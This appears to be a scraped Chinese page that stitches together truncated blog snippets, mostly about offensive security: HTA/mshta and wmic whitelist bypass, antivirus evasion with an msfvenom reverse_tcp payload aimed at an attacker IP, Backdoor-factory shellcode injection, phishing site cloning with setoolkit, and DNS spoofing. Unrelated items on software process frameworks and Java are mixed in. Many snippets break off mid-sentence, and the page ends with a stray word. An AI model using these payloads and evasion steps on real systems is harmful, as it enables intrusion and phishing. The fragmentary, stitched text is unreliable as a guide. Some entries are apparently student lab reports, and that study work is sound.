msf hta使用方法

使用mshta.exe绕过应用程序白名单（多种方法）

0x00 简介很长一段时间以来,HTA文件一直被web攻击或在野恶意软件下载程序用作恶意程序的一部分.HTA文件在网络安全领域内广为人知,从红队和蓝队的角度来看,它是绕过应用程序白名单有价值的“古老”方式之一.运行Microsoft HTML应用程序主机的Mshta.exe,Windows OS实用程序负责运行HTA(HTML应用程序)文件.我们可以运行JavaScript或Visual的HTML文件.您可以使用Microsoft MSHTA.exe工具解析这些文件. 0x01 HTA重要

WIN2003跳出res://C:WINDOWSsystem32mys.dll/mys.hta解决方法

出现这个问题的时候 @echo off 请将以下语句复制到记事本中,另存为后缀为.cmd的文件,并运行.当然在命令行下一句句运行也没问题. echo 正在修复,这个过程可能需要几分钟,请稍候…… rundll32.exe advpack.dll /DelNodeRunDLL32 %systemroot%System32dacui.dll rundll32.exe advpack.dll /DelNodeRunDLL32 %systemroot%Catrooticatalog.mdb regsvr

[转]比较 Rational Unified Process (RUP) 和 Microsoft Solutions Framework (MSF)

文档选项将此页作为电子邮件发送级别: 初级 Sandra Sergi Santos, 软件工程专家, IBM 2007 年 6 月 15 日本文来自于 Rational Edge:Microsoft Solutions Framework 和 Rational 统一过程(Rational Unified Process ,RUP)都为软件开发团队提供过程指导,但您如何对二者进行比较呢?本文指出了两个框架主要的结构上的差别和相似之处. Rational Edge 读者的新论坛在本文

20155227《网络对抗》Exp3 免杀原理与实践

20155227<网络对抗>Exp3 免杀原理与实践实践内容正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧通过组合应用各种技术实现恶意代码免杀用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本基础问题回答杀软是如何检测出恶意代码的? 基于特征码的检测:可执行文件包含特征码库中的某段数据就会被认为是恶意代码. 启发式恶意软件检测:一个软件在干通常是恶意软件干的事,看

20155338《网络对抗》Exp3 免杀原理与实践

20155338<网络对抗>Exp3 免杀原理与实践实验过程一.免杀效果参考基准 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.virscan.org/上进行扫描,有48%的杀软报告病毒. 二.使用msf编码器编码一次,在Kali输入命令 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=kali的IP LPORT=533

kali linux之Backdoor-factory

Backdoor-------python编写适用于windows PE x32/x64 和Linux ELF x32/x64(OSX),支持msf payload 自定义payload 将shellcode代码patch进行模板文件,躲避AV检查 Patch: 通过替换exe,dll,注册表等方法修复系统漏洞或问题的方法 BDF:向二进制文件中增加或删除代码内容,某些受保护的二进制程序无法patch,存在一定概率文件会被patch坏掉 CTP方法--------增加新的代码段section,

kali linux之被动信息收集recon-ng

开源的全特性的web侦查框架,基于python开发命令格式与msf一致使用方法:模块,数据库,报告 -h 帮助信息 -v 版本信息 -w 进入工作区,如果没有此工作区,则创建该工作区 -r 批量的检测目标,把多个目标放一个文件里 --no-check 不要检查升级 --on-analytics 不进行报告的分析

后门免杀工具-Backdoor-factory

水一水最近玩的工具弄dll注入的时候用到的介绍这款老工具免杀效果一般..但是简单实用目录: 0x01 backdoor-factory简介 0x02 特点功能 0x03 具体参数使用 PS:后门添加私钥证书 https://tools.kali.org/exploitation-tools/backdoor-factory https://github.com/secretsquirrel/the-backdoor-factory 0x01 backdoor-factory简介后门工

认识Metasploit框架

Metasploit基础认识Metaspliot框架 Metaspliot(MSF)渗透测试框架,提供众多的接口.选项.变量.模块以供渗透工作人员使用它完成一系列的渗透攻击. 渗透攻击(Exploit) 渗透攻击是指攻击者利用一个系统.应用或服务件的安全漏洞,进行攻击行为:往往会造成开发者所没有预期到的一种特殊结果.常见的渗透攻击技术包括缓冲区溢出.Web应用程序漏洞攻击(SQL注入.XSS.文件漏洞等)以及服务件的配置错误. 攻击载荷(Payload) 攻击载荷是我们期望目标在被

2018-2019-2 20162329 《网络对抗技术》Exp7：网络欺诈防范

目录 Exp7: 网络欺诈防范一. 基础问题回答 1. 通常在什么场景下容易受到DNS spoof攻击二. 实验过程 1. 简单应用SET工具建立冒名网站 2. ettercap DNS spoof 3. 结合应用两种技术,用DNS spoof引导特定访问到冒名网站. 三.实验感想与体会 Exp7: 网络欺诈防范一. 基础问题回答 1. 通常在什么场景下容易受到DNS spoof攻击在一个DNS服务器被不可信的人控制的网络下. 2. 在日常生活工作中如何防范以上两攻击方法尽量不使用不可

20165218 《网络对抗技术》Exp7 网络欺诈防范

Exp7 网络欺诈防范基础问题回答通常在什么场景下容易受到DNS spoof攻击公共网络下或者同一局域网内: 在日常生活工作中如何防范以上两攻击方法钓鱼网站查验可信第三方核对网站域名查询网站备案查看安全证书 DNS欺骗 DNS欺骗攻击是很难防御的,因为这种攻击大多数本质都是被动的.通常情况下,除非发生欺骗攻击,否则你不可能知道你的DNS已经被欺骗,只是你打开的网页与你想要看到的网页有所不同. 使用最新版本的DNS服务器软件,并及时安装补丁: 关闭DNS服务器的递归功能.DNS服务

被动信息收集-其他收集目标信息的途径:cupp、 recon-ng

除了google等搜索收集,还有其他途径进行信息收集,其中就包括用命令行或集成的软件.框架进行搜集信息. 1.先举例几个简单的命令: 其实也会是调用搜索引擎,如谷歌必应等,需要翻墙,可以用proxychains做命令行代理. • 邮件.主机:theharvester -d sina.com -l 300 -b google root@kali:~# theharvester -h Usage: theharvester options -d: Domain to search or compan

社工工具包setoolkit克隆网站钓鱼网站

实验主机:kali win10 (搭建好的dvwa靶场用于克隆登录页) setoolkit简介:setoolkit 是一个开源的社会工程学工具包.有很多选项可以使用更多操作读者自行探究. 实验开始:kali终端输入setoolkit (setool可以tab键补全) 回车运行之后是这样: 下滑有社工包选项: 翻译如下: 1)social-Engineering Attacks 社会工程学工具(鱼叉式网站攻击)2)Penetration Testing (fast-TRack) 快速追踪测试3)

javaSE27天复习总结

JAVA学习总结 2 第一天 2 1:计算机概述(了解) 2 (1)计算机 2 (2)计算机硬件 2 (3)计算机软件 2 (4)软件开发(理解) 2 (5)语言 2 (6)人机交换 2 2:键盘功能键的认识和快捷键(掌握) 2 (1)功能键的认识 2 (2)快捷键 3 3:常见的DOS命令(掌握) 3 (1)常见的如下 3 (2)其他的几个(了解) 3 4:Java语言概述(了解) 4 (1)Jav

软件开发-MSF方法(《构建之法》读书笔记2)

MSF-微软解决方案框架,是一套大型系统开发指南,它描述了如何用组队模型.过程模型和应用模型来开发Client/Server结构的应用程序,是在微软的工具和技术的基础上建立并开发分布式企业系统应用的参考.在现在的软件开发项目中每一个软件开发项目都要经过一个生命周期.MSF过程模型是从传统的软件开发瀑布模型和螺旋模型发展而来的,它瀑布模型中基于里程碑的规划与螺旋模型中的增量迭代的长处结合起来.MSF作为现在流行的软件开发思路,其有自己的基本原则. MSF基本原则: 1:推动信息共享和沟通 2:为

BT5升级MSF至Git更新的方法

由于Kali在虚拟机的运行效率实在让人不敢恭维,于是决心将BT5中的MSF进行升级,升级的主要目的是,BT5R3内置的MSF是用SVN进行更新, 但是新版本的MSF已经停止通过SVN更新,改用Git,必须重新安装.网上找了很多办法,看见帖子里明明升级成功,但是自己总是不成功,卡在pg (0.15.0)无法成功安装,个人认为的原因是MSF并没有用BT5内置的RUBY,而是利用自带的RUBY,其自带的版本为1.9.1,已经很古老了……所以升级系统的Ruby版本也会无济于事,但是按照下面的步骤更新,

windows 下加载执行hta文件的方法

首先编写这么一个hta的文件: <html> <head> <script> s = new ActiveXObject("WScript.Shell"); s.run(); window.close(); </script> </head> </html> 然后运行: rundll32.exe url.dll,OpenURL "c:\\Users\\10920\\Desktop\\calc.hta&qu

20145208 蔡野《网络对抗》免考项目 MSF学习

20145208 蔡野 <网络对抗>免考项目 MSF Exploit模块开发题目:MSF Exploit模块开发摘要本免考项目的目标是通过对msf模块的设计语言--ruby和exploit模块设计框架的学习,了解如何通过已知的漏洞开放一个针对这个漏洞的攻击模块. 在开始的准备工作包括ruby的基本知识的学习和理解,以及exploit模块设计框架的了解和初步的实践,在初步实践时选择课上使用的存在漏洞的可执行文件作为目标,熟悉exploit模块的开发过程:在熟悉开发过程后针对一个新的具有普遍

使用wmic.exe绕过应用程序白名单（多种方法）

一.Wmic.exe wmic实用程序是一款Microsoft工具,它提供一个wmi命令行界面,用于本地和远程计算机的各种管理功能,以及wmic查询,例如系统设置.停止进程和本地或远程运行脚本.因此,它可以调用XSL脚本来执行. 二.攻击方法 1.第一种方法:Koadic 我们将在Koadic的帮助下生成一个恶意的XSL文件,它是一个命令和控制工具,与Metasploit和PowerShell empire非常相似. 要了解Koadic的工作原理,请阅读我们的文章:https://www.h

[7期]美少妇(msf)和独角兽(unicorn)

MSF 全称:metasploit-framework 渗透大杀器,黑客工具排名第一(靠前),尤其在内网中.在校期间大学生先跟本校安全部沟通好,一起实验. 得不到校方理解与认可的上SRC或者自己搭建靶机.为什么在当今,政府,学校,公司等网络不堪一击,就是因为感觉不到损失嘛,你会买保险?出了很多事情了才知道痛,道理都是一样的.组织要赚钱,而安全呢?安全是在烧钱,买着买来,招聘一个信息安全的人还动不动就上万.不被老板套路,炒掉你换实习生就实属你上辈子修来的福气了. 开源地址:github.co

巴特西